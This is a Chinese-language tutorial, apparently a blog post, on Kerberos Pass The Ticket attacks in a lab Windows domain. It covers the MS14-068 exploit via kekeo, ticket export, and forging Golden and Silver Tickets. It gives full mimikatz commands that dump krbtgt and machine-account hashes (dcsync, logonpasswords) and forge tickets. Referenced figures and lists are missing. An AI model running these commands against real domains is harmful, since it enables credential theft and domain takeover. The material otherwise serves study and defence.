上篇介绍了有关Pass The Hash 和Pass The Key的技巧,这次接着介绍一下Pass The Ticket
在域环境中,Kerberos协议被用来作身份认证,上图所示即为一次简单的身份认证流程,具体细节可以参考相关资料,这里仅介绍几个名词:
在了解了相关名词之后,我们从实际利用的角度来介绍与Pass The Ticket有关的技术
#!bash 域控: os:server 2008 r2 x64 ip:192.168.40.132 域内主机: os:win7 x64 ip:192.168.40.225
时至今日,该漏洞已经过去一年多,针对其攻击的防御检测方法已经很成熟,所以对其利用方法做一个回顾。
最先公开的利用方法是Sylvain Monné用Python实现的PyKEK
准备条件:
漏洞利用的步骤为:
Benjamin DELPY用c实现了MS14-068的利用工具,更简单高效。
因为域用户对应sid本就可以通过程序自动获取,清除导入票据也能自动实现,当然,如果想用其他域用户信息攻击,也可以加上sid手动导入票据
kekeo的快捷用法仅需要以下参数:
实际测试如图,成功获得了域控的访问权限
下载地址:
https://github.com/gentilkiwi/kekeo/releases在我们成功获得域控权限后,就可以导出域控内存中的Ticket,在默认的10个小时以内都可以利用来登录域控
通过mimikatz导出内存中的Ticket,执行:
#!bash sekurlsa::tickets /export
如图
保存成文件,一共导出如下文件,如图
挑选其中的 [0;2d87a][email protected]
在域普通用户的主机进行导入
执行:
#!bash mimikatz "kerberos::ptt C:/test/[0;2d87a][email protected]
"
如图,导入成功
查看是否有域控权限,如图
每个用户的Ticket都是由krbtgt的密码Hash来生成的,那么,我们如果拿到了krbtgt的密码Hash,不就可以随意伪造Ticket了吗?
实际上只要拿到了域控权限,在上面就可以很容易的获得krbtgt的Hash值,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket
在域控上执行
#!bash mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
生成mimikatz.log记录输出,使用log输出是为了方便复制Hash值
如图:
找到如下信息:
#!bash /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
伪造的用户设置为god,执行
#!bash mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"
生成文件gold.kirbi
生成Golden Ticket不仅可以使用aes256,也可用krbtgt的NTLM hash
可以用 mimikatz "lsadump::lsa /patch"
导出
如图
导入Gold Ticket,执行如下命令:
#!bash kerberos::ptt c:/test/gold.kirbi
如图,成功获得域控权限
Silver Ticket是伪造的TGS(Ticket Granting Server)ticket,所以也叫service ticket
将它同Golden Ticket做对比:
Golden Ticket是伪造的TGT(Ticket Granting Ticket),所以可以获取任何Kerberos服务权限
Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限
Golden Ticket是由krbtgt的hash加密
Silver Ticket是由服务账户(通常为计算机账户)hash加密
Golden Ticket在使用的过程需要同域控通信
Silver Ticket在使用的过程不需要同域控通信
正常的认证流程为
如果使用了Silver Ticket,认证流程变为
不难看出其中取消了步骤 1-4
也就是说只要手里有Silver Ticket,就可以跳过KDC认证,直接去访问指定的服务。
比如现在要访问域控上的“cifs”服务(cifs服务用于Windows主机间的文件共享)
首先需要获得如下信息:
在域控上执行如下命令来获取域控主机的本地管理员账户hash
#!bash mimikatz log "sekurlsa::logonpasswords"
如图
此处要找到计算机账户,也就是 Username : WIN-8VVLRPIAJB0$
的 NTLM hash
,如果是其他账户,那么会失败
整理以上获得的信息如下:
使用mimikatz执行如下命令导入Silver Ticket
#!bash mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
如图,成功导入,此时可以成功访问域控上的文件共享
整理信息如下,只需要把/service的名称改为LDAP,/user改为krbtgt:
mimikatz导入Silver Ticket的命令为:
#!bash mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt /ptt"
此时 dir //WIN-8VVLRPIAJB0.test.local/c$
发现无法访问,也就是前面提到的
Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限
如图,虽然成功导入,但是无法访问域控的文件共享
但是执行如下命令可以远程访问LDAP服务来获得krbtgt的信息:
#!bash mimikatz "lsadump::dcsync /dc:WIN-8VVLRPIAJB0.test.local /domain:test.local /user:krbtgt"
如图,成功远程获得krbtgt账户信息
当然,还有其他服务可通过伪造Silver Ticket访问:
如图列举了其他可用作Silver Ticket的服务:
本文介绍了和Pass The Ticket有关的技术,着重对实际使用的一些情况做了演示,无论攻防,只有实践,才会进步。
Real knowledge comes from practices.